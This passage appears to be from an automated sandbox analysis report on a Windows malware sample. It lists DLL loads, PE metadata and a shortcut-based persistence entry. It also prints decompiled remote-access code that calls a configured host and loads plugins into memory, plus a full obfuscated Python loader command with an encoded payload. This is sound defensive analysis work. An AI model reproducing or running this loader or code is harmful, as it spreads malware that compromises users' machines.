Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: cryptnet.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: gnsdk_fp.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: mf.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: mfps.dll	Jump to behavior
Source: C:\recover\pw\pw.exe	Section loaded: python310.dll	Jump to behavior
Source: C:\recover\pw\pw.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\recover\pw\pw.exe	Section loaded: version.dll	Jump to behavior
Source: C:\recover\pw\pw.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\recover\pw\pw.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\recover\pw\pw.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\recover\pw\pw.exe	Section loaded: python3.dll	Jump to behavior
Source: C:\recover\pw\pw.exe	Section loaded: sqlite3.dll	Jump to behavior
Source: C:\recover\pw\pw.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\recover\pw\pw.exe	Section loaded: libcrypto-1_1.dll	Jump to behavior
Source: C:\recover\pw\pw.exe	Section loaded: libssl-1_1.dll	Jump to behavior
Source: C:\recover\pw\pw.exe	Section loaded: libcrypto-1_1.dll	Jump to behavior
Source: C:\recover\pw\pw.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\recover\pw\pw.exe	Section loaded: libffi-7.dll	Jump to behavior
Source: C:\recover\pw\pw.exe	Section loaded: pywintypes310.dll	Jump to behavior
Source: C:\recover\pw\pw.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\recover\olx.exe	Section loaded: apphelp.dll
Source: C:\recover\olx.exe	Section loaded: qt5quick3dassetimport.dll
Source: C:\recover\olx.exe	Section loaded: qt5core.dll
Source: C:\recover\olx.exe	Section loaded: vcruntime140.dll
Source: C:\recover\olx.exe	Section loaded: mpr.dll
Source: C:\recover\olx.exe	Section loaded: userenv.dll
Source: C:\recover\olx.exe	Section loaded: version.dll
Source: C:\recover\olx.exe	Section loaded: netapi32.dll
Source: C:\recover\olx.exe	Section loaded: winmm.dll
Source: C:\recover\olx.exe	Section loaded: msvcp140.dll
Source: C:\recover\olx.exe	Section loaded: msvcp140_1.dll
Source: C:\recover\olx.exe	Section loaded: vcruntime140.dll
Source: C:\recover\olx.exe	Section loaded: vcruntime140_1.dll
Source: C:\recover\olx.exe	Section loaded: vcruntime140_1.dll
Source: C:\recover\olx.exe	Section loaded: netutils.dll
Source: C:\recover\olx.exe	Section loaded: srvcli.dll
Source: C:\recover\olx.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: profapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: amsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: userenv.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasapi32.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasman.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rtutils.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winhttp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: secur32.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: schannel.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ntasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ncrypt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: msasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: gpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: avicap32.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: msvfw32.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winmm.dll
Source: C:\recover\olx.exe	Section loaded: qt5quick3dassetimport.dll
Source: C:\recover\olx.exe	Section loaded: qt5core.dll
Source: C:\recover\olx.exe	Section loaded: vcruntime140.dll
Source: C:\recover\olx.exe	Section loaded: mpr.dll
Source: C:\recover\olx.exe	Section loaded: userenv.dll
Source: C:\recover\olx.exe	Section loaded: version.dll
Source: C:\recover\olx.exe	Section loaded: netapi32.dll
Source: C:\recover\olx.exe	Section loaded: winmm.dll
Source: C:\recover\olx.exe	Section loaded: msvcp140.dll
Source: C:\recover\olx.exe	Section loaded: msvcp140_1.dll
Source: C:\recover\olx.exe	Section loaded: vcruntime140_1.dll
Source: C:\recover\olx.exe	Section loaded: msvcp140.dll
Source: C:\recover\olx.exe	Section loaded: netutils.dll
Source: C:\recover\olx.exe	Section loaded: srvcli.dll
Source: C:\recover\olx.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: sspicli.dll

Source: C:\Users\user\Desktop\vUlh7stUHJ.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{5E5F29CE-E0A8-49D3-AF32-7A7BDC173478}\InProcServer32

Found graphical window changes (likely an installer)

Source: Explorer.lnk.14.dr

LNK file: ..\..\..\..\..\recover\olx.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

PE / OLE file has a valid certificate

Source: vUlh7stUHJ.exe

Static PE information: certificate valid

PE file has a high image base, often used for DLLs

Source: vUlh7stUHJ.exe

Static PE information: Image base 0x140000000 > 0x60000000

Submission file is bigger than most known malware samples

Source: vUlh7stUHJ.exe

Static file information: File size 71253576 > 1048576

PE file has a big raw section

Source: vUlh7stUHJ.exe

Static PE information: Raw size of .rdata is bigger than: 0x100000 < 0x43be200

PE file contains a mix of data directories often seen in goodware

Source: vUlh7stUHJ.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: vUlh7stUHJ.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: vUlh7stUHJ.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: vUlh7stUHJ.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: vUlh7stUHJ.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: vUlh7stUHJ.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Contains modern PE file flags such as dynamic base (ASLR) or NX

Source: vUlh7stUHJ.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

PE file contains a debug data directory

Source: vUlh7stUHJ.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Binary contains paths to debug symbols

Source:	Binary string: D:\a\1\b\bin\win32\_multiprocessing.pdb source: vUlh7stUHJ.exe, 00000000.00000003.1443226796.000001F67677B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\win32\_uuid.pdb source: vUlh7stUHJ.exe, 00000000.00000003.1447226090.000001F67677B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \1\b\bin\win32\_decimal.pdb source: vUlh7stUHJ.exe, 00000000.00000003.1436040281.000001F676774000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\win32\_lzma.pdbOO source: vUlh7stUHJ.exe, 00000000.00000003.1439782445.000001F676774000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\win32\pythonw.pdb source: pw.exe, 0000000E.00000000.1648029242.00000000003C2000.00000002.00000001.01000000.00000015.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\msvcp140_1.amd64.pdb source: vUlh7stUHJ.exe, 00000000.00000003.1404572275.000001F67677B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\msvcp140_codecvt_ids.amd64.pdbGCTL source: vUlh7stUHJ.exe, 00000000.00000003.1407650442.000001F67677B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\msvcp140_1.amd64.pdbGCTL source: vUlh7stUHJ.exe, 00000000.00000003.1404572275.000001F67677B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\qt\work\qt\qtquick3d\lib\Qt5Quick3DUtils.pdb source: vUlh7stUHJ.exe, 00000000.00000003.1419252904.000001F67677B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\win32\_queue.pdb source: vUlh7stUHJ.exe, 00000000.00000003.1446224890.000001F67677B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\win32\_lzma.pdb source: vUlh7stUHJ.exe, 00000000.00000003.1439782445.000001F676774000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\win32\_elementtree.pdb source: vUlh7stUHJ.exe, 00000000.00000003.1438088331.000001F676774000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\qt\work\qt\qtquick3d\bin\balsam.pdb!! source: vUlh7stUHJ.exe, 00000000.00000003.1408354525.000001F67677B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\msvcp140_codecvt_ids.amd64.pdb source: vUlh7stUHJ.exe, 00000000.00000003.1407650442.000001F67677B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\msvcp140_atomic_wait.amd64.pdb source: vUlh7stUHJ.exe, 00000000.00000003.1406854629.000001F67677B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: olx.exe, 00000018.00000002.1953924528.00007FFB23A71000.00000002.00000001.01000000.00000029.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdbGCTL source: olx.exe, 00000018.00000002.1953924528.00007FFB23A71000.00000002.00000001.01000000.00000029.sdmp
Source:	Binary string: D:\a\1\b\bin\win32\_overlapped.pdb source: vUlh7stUHJ.exe, 00000000.00000003.1445672633.000001F67677B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \1\b\bin\win32\_decimal.pdb%% source: vUlh7stUHJ.exe, 00000000.00000003.1436040281.000001F676774000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\win32\_sqlite3.pdb source: vUlh7stUHJ.exe, 00000000.00000003.1446993792.000001F676774000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\win32\winsound.pdb source: vUlh7stUHJ.exe, 00000000.00000003.1432433326.000001F67677B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140_1.amd64.pdb source: vUlh7stUHJ.exe, 00000000.00000003.1423026225.000001F67677B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\qt\work\qt\qtquick3d\bin\balsam.pdb source: vUlh7stUHJ.exe, 00000000.00000003.1408354525.000001F67677B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\win32\pyexpat.pdb source: vUlh7stUHJ.exe, 00000000.00000003.1427362886.000001F676774000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\win32\_bz2.pdb source: vUlh7stUHJ.exe, 00000000.00000003.1433907736.000001F676774000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\win32\select.pdb source: vUlh7stUHJ.exe, 00000000.00000003.1429404343.000001F67677B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\msvcp140_atomic_wait.amd64.pdbGCTL source: vUlh7stUHJ.exe, 00000000.00000003.1406854629.000001F67677B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\win32\pythonw.pdb source: pw.exe, 0000000E.00000000.1648029242.00000000003C2000.00000002.00000001.01000000.00000015.sdmp
Source:	Binary string: D:\a\1\b\bin\win32\_asyncio.pdb source: vUlh7stUHJ.exe, 00000000.00000003.1433340676.000001F67677B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\win32\_hashlib.pdb source: vUlh7stUHJ.exe, 00000000.00000003.1439115169.000001F67677B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\win32\_msi.pdb source: vUlh7stUHJ.exe, 00000000.00000003.1440568081.000001F67677B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\win32\unicodedata.pdb source: vUlh7stUHJ.exe, 00000000.00000003.1431907945.000001F67677D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\win32\_socket.pdb source: vUlh7stUHJ.exe, 00000000.00000003.1446698614.000001F676774000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140_1.amd64.pdbGCTL source: vUlh7stUHJ.exe, 00000000.00000003.1423026225.000001F67677B000.00000004.00000020.00020000.00000000.sdmp

PE file contains a valid data directory to section mapping

Source: vUlh7stUHJ.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: vUlh7stUHJ.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: vUlh7stUHJ.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: vUlh7stUHJ.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: vUlh7stUHJ.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Data Obfuscation

.NET source code contains method to dynamically call methods (often used by packers)

Source: 15.2.olx.exe.20a7ec37310.0.raw.unpack, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{Settings.Host,Settings.Port,Settings.SPL,Settings.KEY,Helper.ID()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 15.2.olx.exe.20a7ec37310.0.raw.unpack, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{Pack[2],Helper.Decompress(Convert.FromBase64String(Pack[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 24.2.olx.exe.239ef437310.0.raw.unpack, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{Settings.Host,Settings.Port,Settings.SPL,Settings.KEY,Helper.ID()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 24.2.olx.exe.239ef437310.0.raw.unpack, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{Pack[2],Helper.Decompress(Convert.FromBase64String(Pack[3]))}}, (string[])null, (Type[])null, (bool[])null, true)

.NET source code contains potential unpacker

Source: 15.2.olx.exe.20a7ec37310.0.raw.unpack, Messages.cs	.Net Code: Plugin System.AppDomain.Load(byte[])
Source: 15.2.olx.exe.20a7ec37310.0.raw.unpack, Messages.cs	.Net Code: Memory System.AppDomain.Load(byte[])
Source: 15.2.olx.exe.20a7ec37310.0.raw.unpack, Messages.cs	.Net Code: Memory
Source: 24.2.olx.exe.239ef437310.0.raw.unpack, Messages.cs	.Net Code: Plugin System.AppDomain.Load(byte[])
Source: 24.2.olx.exe.239ef437310.0.raw.unpack, Messages.cs	.Net Code: Memory System.AppDomain.Load(byte[])
Source: 24.2.olx.exe.239ef437310.0.raw.unpack, Messages.cs	.Net Code: Memory

Obfuscated command line found

Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Process created: C:\recover\pw\pw.exe "C:/recover/pw/pw.exe" -c exec(__import__('marshal').loads(__import__('zlib').decompress(__import__('base64').b85decode('c$\|ee>>VcmTX?q>0Byn&8+IKa(iiGw{s)`PJFxr5+FbrEg^_AZKtG=5okdOVHRVWY6h-nTPp<s>l9\|`GWZX{-Azgo+czaJFD}YnSrCYHzIB<ca4avMLzo_@OOs4ffJ2HPy\|J-2z-E17!6?z#zGi}@en3pB7_TYA%u%?F@#HSDTK>#IfPH(lMt@Jl@LCKPeZs0S3~#=KEp6(J-1)L7tvtNxD~Ts!j~bQu)eTg!B_T\|@XN5iV0~qO4ZjZYMe7^;Tlj5=FInH&ui<O^4SZvN55EuFmaQM`-@)I7_!H~_K)z#5MQx=ve)36{Rj95dmXOZ8szkgqvaCQ)\|oqBmASi4Y%ziOyagxeFr_$cdirYIePJz1l&b0(HDP-z(1i^=t~Uu&{ybd4Bw(}(6<==3;GVd#olsKfgq8eu+X7eUE;?EtF26-\|6Is7)<Gup862QvqyzU^7p?68sL)A`4^g}E53fE^&Cgn{7%oojZf75G}5&m(vz`yVqhrb{Hd#&=$g7RY(>Kqi3`OyFkE~ji_hcdv@lN;XdyLUxv1m?@~VDLUtp3rFPvlWD(_8PUvgZp=i`M6imxOW=8L0_gDhlpiVsfdj9p}ZiY@LnD$B?USI3pe97%~93LZ3<ub=eTwZKl(0I-f?Ved^94CyI_KvJsmzJ<m4\|^7UmwgDJ>4IAju!om#&qUfBC@lR&e1evZx}zhJTaJ<0\|APOXkQUkMnqT~8kjl2Pv~O!xPQ_Zox$UOpQ5UdL&lc;DgbvtXJSE>@ypU5ou@ttI>\|e_ZRo!nOP;ihjWVyBLby#oLj)#6wFV^5-A#7H08TY_{+^@@-@moh\|sW8SeQe64VifcR_Fbb>x9277O4}P>UZ$`p;1;5xHByG!Z=4+q=ct0XJ5`^~)n-#oL#&+yfEcVd%K=&}}b>tjNDH`dg{lqNsAuyu^_iG?eFW~jpK(JV&39B>k=L??VwDo!1(w+ID;<~zn0v%(eB$wt1gq1&!oBCuP73R_IJl-4n^Jr(D&<w>3rTkF5!Nol8Y3Ub%0E60UG=cxCv7e$pM3<w>vDN6y=$q&U#=Yd{(qDM\|Lg}YF$=@Xzr\|ih?qV3nK_<lGexw_nMRAF_MzMd7-z7pR!~>g1#<^c#2AoCb3r^3`^kl+Y3bCxqxo{JUZAh&^X7aB+e={J$p!BZ!PeJ<VmBaM(K@c7d%iyQ=Zg>c=PW)\|^ug8R1V0A5T@G1YjlPOvvm!rdEcO^Z;~%BsNB$bQ#%6?Ke_8giF$d-p7+JXef3p7gqg8$x4Bfy8%yQS&;K=chb?jz`&%TC!`~tw9`env3^W=eUjcU~AaxVs8oWkHNO1>ffUejDBKe<tWg9;5sLpA6;W3GW~Yk^WGj=Jx#F&CvQK\|BxBxMFzku$3~k-RzK>fz2{4>D{mB&YEE^wZeG~QGeJ+{!Z&m0(YgH?R%Y}U{0~_CIq~4^-Z!DWdQXDc{}dD};r=_e+w=S@Y@FWPkl%1SIR1H^n;<j=R=eU2l&k+ml\|k2\|Dgz-60!6(H)Oh&$W}iiV6N#pgPm$;@hCM%qV+6Lre^_h+;~y<{!H>@pI5xzvmj_2+ENorEcnrlud>P\|$lnC)Bk2cBPcZe0zc5>wEo1Ddzc_n3Tf4tY!#cy0_S}n@URnj@=rlQ1k5kZ7gc4T@2ByRkj^A`Y_Ce+=P}HDj{^f<g@vg0d+QWr8@y7x(XfrMIe&jitok8$oi4uIi?Q;_Obp&Fyd2NFy>j{BL8Tbui`1xj`P^LghRvwf(_&W3CP27LCdFc&jQL%)#s0zdR+K(Wj;41s@Fju^%)3f5OBW\|TgEYHHM$ZHoHT&JKN0h4xKsI0?7dZi@T&ru=Ox67otzMbX#Ir7MP603%M!}Oh2S)xSSwaj7BqT!(?&-!Q~_g<Z3dR23?kHHC;\|AF#wUkhjykbo9PViSagLN4\|oq8nWcI%=%%wMj`%XX<j=QwwY_ZjEJMNXq>$pT=YUL2=1k;QX!4XF!?b&$&_UC^i!mR+T\|6rVDQ7T{Z4f#DUJt?(u2)ktojqyR5ChAedav~Efj8KAtzuskp3T(GDUu0!yBAYY)fkZManxeAqSPi\|Pk<erZttOY(^9SR4;hYk?$c8Dl!8_(y1Xf<Qa<wYi$Vel%#L0{xF}aCW(lRYF2U=6BtT{}+MfE7&Bn`dWN};^pln8?mi-WXCv<SY7Xx@UnC}jk$YvdcE(d7zONtgUe!$gI=4GW^2zTp{O;JaL^C1lf$X^YZL1UcHW)h>M_SX@&tjxr6YeN#=Hk9gbi0cE9mi<RVVj\|hyR;FBCV{%p_#axJVyMkp2ozsYi@w7FnpAAd5Ny8>Fu%GD#D;k=5G{7fTf8CxX)Koz%hL?skl36`Sowy8dNqJ5f^;zAY-!RUp{<QvTLOTsF$Te#%v1x`1X?^%vv{vUv~Ls&W%!~\|l^jlyD7U7Gz^()KLN^a6v00\|%66YYm0G=54>msby3LKUp2lD19RiSuC07go17?~q9LM^eRK#yICAakO{b=4^)k5xq7h#brvCZn_zyhL~#$%Y8l!1cHw^~?pfMg3biB$mEtH@1YhQ{9>2X;ul+!K8;iCaWI9t8K#t)}APE%H2aJ(wb+V(HgT\|uFR$FqW)F1$bOs>wG?f^<gy=5{JPy\|yfgSsTqX;oy0I&DmO$%48KWkjJVZ<AF`<nxf>%19cdI3m;FNYF)HtFGYjb<wCo!gaW5dn$JMsnlfm715a1OmmvIT}K9-iySc2WY`7tnB_?XTBJ$vDVS1C&Jpc{8l;(Ky;++=hY>_uB1OD+v56WW)gvpZTpl`nN3fv6Q@kuowMv~HkGKMuC<N!o*k?J0<urRR;R~2Qf@^A1&ev%uX;j;jZKJP{uwS9lo-DDVLXjn@nd4vy>yk
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Process created: C:\recover\pw\pw.exe "C:/recover/pw/pw.exe" -c exec(__import__('marshal').loads(__import__('zlib').decompress(__import__('base64').b85decode('c$\|ee>>VcmTX?q>0Byn&8+IKa(iiGw{s)`PJFxr5+FbrEg^_AZKtG=5okdOVHRVWY6h-nTPp<s>l9\|`GWZX{-Azgo+czaJFD}YnSrCYHzIB<ca4avMLzo_@OOs4ffJ2HPy\|J-2z-E17!6?z#zGi}@en3pB7_TYA%u%?F@#HSDTK>#IfPH(lMt@Jl@LCKPeZs0S3~#=KEp6(J-1)L7tvtNxD~Ts!j~bQu)eTg!B_T\|@XN5iV0~qO4ZjZYMe7^;Tlj5=FInH&ui<O^4SZvN55EuFmaQM`-@)I7_!H~_K)z#5MQx=ve)36{Rj95dmXOZ8szkgqvaCQ)\|oqBmASi4Y%ziOyagxeFr_$cdirYIePJz1l&b0(HDP-z(1i^=t~Uu&{ybd4Bw(}(6<==3;GVd#olsKfgq8eu+X7eUE;?EtF26-\|6Is7)<Gup862QvqyzU^7p?68sL)A`4^g}E53fE^&Cgn{7%oojZf75G}5&m(vz`yVqhrb{Hd#&=$g7RY(>Kqi3`OyFkE~ji_hcdv@lN;XdyLUxv1m?@~VDLUtp3rFPvlWD(_8PUvgZp=i`M6imxOW=8L0_gDhlpiVsfdj9p}ZiY@LnD$B?USI3pe97%~93LZ3<ub=eTwZKl(0I-f?Ved^94CyI_KvJsmzJ<m4\|^7UmwgDJ>4IAju!om#&qUfBC@lR&e1evZx}zhJTaJ<0\|APOXkQUkMnqT~8kjl2Pv~O!xPQ_Zox$UOpQ5UdL&lc;DgbvtXJSE>@ypU5ou@ttI>\|e_ZRo!nOP;ihjWVyBLby#oLj)#6wFV^5-A#7H08TY_{+^@@-@moh\|sW8SeQe64VifcR_Fbb>x9277O4}P>UZ$`p;1;5xHByG!Z=4+q=ct0XJ5`^~)n-#oL#&+yfEcVd%K=&}}b>tjNDH`dg{lqNsAuyu^_iG?eFW~jpK(JV&39B>k=L??VwDo!1(w+ID;<~zn0v%(eB$wt1gq1&!oBCuP73R_IJl-4n^Jr(D&<w>3rTkF5!Nol8Y3Ub%0E60UG=cxCv7e$pM3<w>vDN6y=$q&U#=Yd{(qDM\|Lg}YF$=@Xzr\|ih?qV3nK_<lGexw_nMRAF_MzMd7-z7pR!~>g1#<^c#2AoCb3r^3`^kl+Y3bCxqxo{JUZAh&^X7aB+e={J$p!BZ!PeJ<VmBaM(K@c7d%iyQ=Zg>c=PW)\|^ug8R1V0A5T@G1YjlPOv